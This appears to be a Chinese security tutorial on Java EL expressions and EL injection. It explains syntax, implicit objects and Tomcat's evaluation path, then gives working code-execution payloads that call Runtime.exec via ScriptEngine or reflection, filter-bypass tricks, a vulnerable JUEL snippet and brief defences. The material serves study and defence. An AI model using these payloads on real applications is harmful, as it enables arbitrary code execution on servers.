EL表达式注入
概述
Expression Language,EL表达式是JSP的内置表达式语言。是为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语言,它提供了在JSP中简化表达式的方法,让JSP的代码更加简化。
EL表达式的主要功能:
- 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系、逻辑、算术运算
- 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
基本语法
格式:
1 | ${expr} |
expr指的是表达式,当表达式的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量。如${pageScope.userinfo}表示访问page范围中的userinfo变量。
EL表达式的属性范围:
- Page:PageScope
- Request:RequestScope
- Session:SessionScope
- Application:ApplicationScope
基础操作符
EL表达式支持大部分Java所提供的算术和逻辑操作符:
| 操作符 | 描述 |
|---|---|
| . | 访问一个Bean属性或者一个映射条目 |
| [] | 访问一个数组或者链表的元素 |
| ( ) | 组织一个子表达式以改变优先级 |
| + | 加 |
| - | 减或负 |
| * | 乘 |
| / or div | 除 |
| % or mod | 取模 |
| == or eq | 测试是否相等 |
| != or ne | 测试是否不等 |
| < or lt | 测试是否小于 |
| > or gt | 测试是否大于 |
| <= or le | 测试是否小于等于 |
| >= or ge | 测试是否大于等于 |
| && or and | 测试逻辑与 |
| || or or | 测试逻辑或 |
| ! or not | 测试取反 |
| empty | 测试是否空值 |
其中比较重要的是:
.:访问一个Bean属性或者一个映射条目[]:访问一个数组或者链表元素。当要存取的属性名称中包含一些特殊字符,就一定要用[],例如:${user.My-Name}应当改为${user["My-Name"]}。如需动态取值,同样需要用[]
函数
EL表达式支持使用函数。这些函数必须被定义在自定义标签库中,语法:
1 | ${ns:func(param1, param2, ...)} |
ns指命名空间,func指函数名称,param指参数
用EL表达式调用函数必须使用taglib引入你的标签库
隐式对象
- pageContext:JSP页上下文,可以用于访问JSP隐式对象,如请求、响应、会话、输出、servletContext等。例如,
${pageContext.response}为页面的响应对象赋值。 - param:将请求参数名称映射到单个字符串参数数值,返回的是单一字符串(通过调用
ServletRequest.getParameter(String name)获得),表达式${param.name}或者${param["name"]相当于request.getParameter(name)。 - paramValues:将请求参数名称映射到一个数值数组,返回一个字符串数组(通过调用
ServletRequest.getParameter(String name)获得),表达式{$paramvalues.name}相当于request.geParamterValues(name)。 - header:将请求头名称映射到单个字符串头值(通过调用
ServletRequest.getHeader(String name)获得),表达式${header.name}相当于request.getHeader(name) - headerValues:将请求头名称映射到一个数值数组(通过调用
ServletRequest.getHeaders(String)获得),表达式${headerValues.name}相当于request.getHeaderValues(name) - cookie:将cookie名称映射到单个cookie对象。向服务器发出的客户端请求可以获得一个或多个cookie。表达式
${cookie.name.value}返回带有特定名称的第一个coookie值。如果请求包含多个同名的cookie,则应该使用${headerValues.name}表达式。 - initParam:将上下文初始化参数名称映射到单个值(通过调用
ServletContext.getInitparameter(String name)获得)。
pageContext对象
pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象,比如访问request对象传入的查询字符串:
1 | ${pageContext.request.queryString} |
Scope对象
pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。
举例来说,如果您需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box。
param和paramValues对象
param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。
举例来说,访问一个名为order的参数,可以这样使用表达式:${param.order},或者${param[“order”]}。
demo:
1 | <%@ page import="java.io.*,java.util.*" %> |
param对象返回单一的字符串,而paramValues对象则返回一个字符串数组。
header和headerValues对象
header和headerValues对象用来访问信息头,通过使用 request.getHeader方法和request.getHeaders方法。
举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header[“user-agent”]}。
demo:
1 | <%@ page import="java.io.*,java.util.*" %> |
header对象返回单一值,而headerValues则返回一个字符串数组。
JSP中启动/禁用EL表达式
其中,JSP2.0中默认启用EL表达式
全局禁用EL表达式:
1 | <jsp-config> |
单个文件禁用EL表达式:
1 | <%@ page isELIgnored="true" %> |
源码分析
这里我们分析下EL表达式是如何解析的呢?
index.jsp:
1 | ${applicationScope} |
运行后在D:\java8\apache-tomcat-9.0.109\work\Catalina\localhost\ROOT\org\apache\jsp找到生成的java文件:
1 | (java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${applicationScope}", java.lang.String.class, (javax.servlet.jsp.PageContext)_jspx_page_context, null) |
在Java中则通过org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate方法来处理EL表达式
exp:
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")} |
org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate方法内会通过ExpressionFactoryImpl#createValueExpression返回ValueExpression对象,它根据EL表达式的.和(),进行分隔
随后调用AsValue#getValue方法循环反射,最后javax.el.BeanELResolver#invoke方法反射执行我们的方法
EL表达式注入
原理
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分从外部获取的
JUEL
JUEL是统一表达式语言EL(Unified Expression Language)的实现,是JSP 2.1标准(JSR-245)的一部分,已在JEE5
中引入。它具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。
相关依赖:
1 | <dependency> |
注入漏洞代码:
1 | ExpressionFactory factory = new ExpressionFactoryImpl(); //创建表达式工厂 |
其中str为我们的恶意EL表达式,这串代码意思是将字符串当作代码来执行
常见poc
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
绕过方法
利用ScriptEngine调用JS引擎绕过
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByMimeType("text/javascript").eval("java.lang.Runtime.getRuntime().exec('calc')")} |
利用反射绕过
1 | ${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc")} |
charAt/toChars获取字符
1 | ${true.toString().charAt(0).toChars(99)[0].toString()}//c |
true.toString().charAt(0)返回字符t,ASCII码116
.toChars(99)[0]将Unicode码点99转换为字符,而ASCII码为99的是字符c,所以这里得到的值与前面t无关,这只是Character类上的静态调用,由于返回的是数组,所以要加上[0]
这可以当作构造特殊字符的绕过
漏洞防御
尽量不使用外部输入的内容作为EL表达式内容;
若使用,则严格过滤EL表达式注入漏洞的payload关键字;
如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
1
2javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()









